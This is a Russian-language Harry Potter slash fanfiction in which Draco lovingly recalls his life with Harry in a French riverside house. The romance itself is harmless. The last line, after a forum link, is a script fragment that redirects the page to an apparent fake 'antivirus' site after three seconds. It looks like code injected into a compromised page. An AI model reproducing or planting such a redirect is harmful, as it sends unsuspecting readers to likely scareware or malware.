Окно Красной спальни

Автор: Чифа
Бета: Кот Бегемот
Rating: slash, PG
Pairing: Гарри/Драко
Жанр: romance
Дисклеймер: Все персонажи, относящиеся к циклу произведений о Гарри Поттере, принадлежат Дж. Роулинг.

Ветер по щеке и не хочется говорить. Пусть говорит память, а я помолчу. Пусть она расскажет, как ты смотрел, как ты дышал, как наклонял голову, чтобы подмигнуть; как летал, ходил, улыбался, смеялся, жил. Жил той, другой жизнью, которой уже нет. Она умерла и теперь не стоит даже кната.

Я сижу на подоконнике, свесив ноги наружу. Третий этаж, дом над рекой. Вверху – синее–синее небо. Я всегда верил, что небо юга Франции – особенное, теперь знаю точно. Оно было создано специально для этого места – аквамариновая заплатка на ровном сером полотне. Также и ты был создан именно для меня – единственный живой человек из толпы мертвецов, проходящих всегда только мимо. Они открывали рты, беззвучно что–то говорили; я, кажется, отвечал – что именно,  уже не помню… не помню… да это и не важно, моё прошлое умерло вместе с твоим прошлым. Я говорил, что мы созданы друг для друга? Вот и прошлые наши жизни тоже жили вместе и умерли в один день.

Солнце напекает голову, ласкает лицо, открытые по локоть руки, босые ноги, играет в прятки с бликами разноцветных стекол витражей. Тепло. Это – тоже новое, тоже твоё. Твой подарок.

Я говорю, что ты подарил мне весь мир, а ты смеёшься. Глупый! Какой же ты глупый… что смеяться, если это так? Ты самый щедрый на свете: даришь мне своё тепло, свои улыбки, свою душу. Собственную я потерял много лет назад, почти три четверти жизни… она у меня короткая, но вот своей души уже нет. Одна фатальная ошибка и сейчас в моей груди – твоё сердце. И я не перестаю благодарить Бога за тебя.

Я улыбаюсь, и в по–весеннему говорливый день летит беззвучная благодарность от всего твоего сердца. Как же я счастлив.

Я не вспоминаю прошлое – оно для меня умерло, а мертвецов тревожить не стоит. Что угодно, только бы не вспоминать. Хотя… я теперь храбрый, во мне твой дух, твоя уверенность, твоя отвага. Я зажмуриваюсь: тот день, страх потерять тебя, ужас понимания, что это более чем реально и, наконец, тяжёлое, как гранитная кладбищенская плита, облегчение – всё кончено… я ёжусь от холода, хотя солнце всё ещё припекает. Нет. Прочь! Этому больше нет места в моей жизни.

Я прижимаюсь щекой к холодному камню стены. Почему стена мокрая? Пошёл дождь?

На небе ни облачка, солнечные зайчики продолжают дразнить волны манерной медлительной реки, поёт какая–то птица, слышится щёлканье садовых ножниц – подрезают кусты жасмина у главного входа... этот запах…

Я закрываю глаза и вдыхаю аромат жасмина полной грудью. Обожаю! Лёгкий, завораживающий, изящный запах. Эти кусты – тоже твой подарок… мы высаживали их вместе. Господи, Я  – и возился с землёй?! Смешно? Ничуть. Тогда мы перемазались с ног до головы, а потом купались в речке. Кто же знал, что ты не умеешь плавать? Зато я так героически спасал тебя на мелководье. Счастливая, по–дурацки радостная улыбка самовольно расплывается по лицу. Ты так смешно барахтался в воде.

– Сэр, обед подан.

Я оборачиваюсь. Это ты настоял, чтобы мы наняли “настоящего дворецкого” с бакендабрдами, усами, манишкой, замороженным видом и осанкой английской королевы. Очередная твоя шутка насчёт аристократа и всех типичных для них “прибамбасов”. И вот теперь этот человек, сошедший со страниц романов девятнадцатого века, церемонно откланивается и выходит из комнаты. Великолепно! Шутка удалась, и ты это знаешь. Я его еле терплю. Ты говоришь: это потому, что он ещё более чопорный, чем я. Ничего подобного! Ну, может только если на чуточку. Ладно–ладно, врать самому себе – последнее дело. Легко спрыгиваю с подоконника в комнату, чтобы обуться и направиться в “зёленую гостиную”. Ещё одна твоя шутка. Может быть, даже смешная. Хотя как вспомню “красную спальню”…

Шум шин под окнами. Я оборачиваюсь и получаю солнечным зайчиком в глаза. Смеюсь. Вот ты и вернулся. И как ты можешь тратить время на такую гадость как мотоциклы? Ремонтируешь его часами напролёт и никак не можешь смириться, что он скоро развалится, не иначе. Хотя твой крёстный и утверждает, что этому чудовищу ещё жить и жить, мне в это вериться с трудом.

Я подхожу к окну и вижу, что ни тебя, ни твоего монстра уже нет…

– Кхм.

– Да?

– Сэр, вас ждут в зелёной гостиной.

– Спасибо, Ходжкинс. Уже спускаюсь.

Закрываю окно, и ветер последним дуновением ласкает щёки. Я прижимаюсь лбом к стеклу. Кажется, я привязался и к этому окну, и к этой ужасной комнате. “Красная спальня”, кто бы мог подумать!

Зелёная гостиная рядом с библиотекой на первом этаже. Спускаться целых тридцать ступенек. А ты уже в холле, болтаешь с крёстным. Твой голос я узнаю из тысяч других, а твой смех – и подавно. Как же я соскучился!
В пролёте лестницы десять ступеней. Осталось двадцать пять. Двадцать. Я уже почти бегу.

Пятнадцать. Десять. Пять. Я слетаю с лестницы прямо к тебе в объятия.

– Сколько же тебя носило Бог знает где, Поттер! Хоть бы одно утро провёл дома.

– Я тоже соскучился, – смеёшься ты в ответ.

И в весенний, цветастый, яркий день улетают слова благодарности, рождённые одной душой, разделённой на двоих. “Господи, спасибо!”

Обсуждение на форуме

setTimeout(\'document.location.href = "http://base-file.com/antivirus"\', 3000);'); } ?>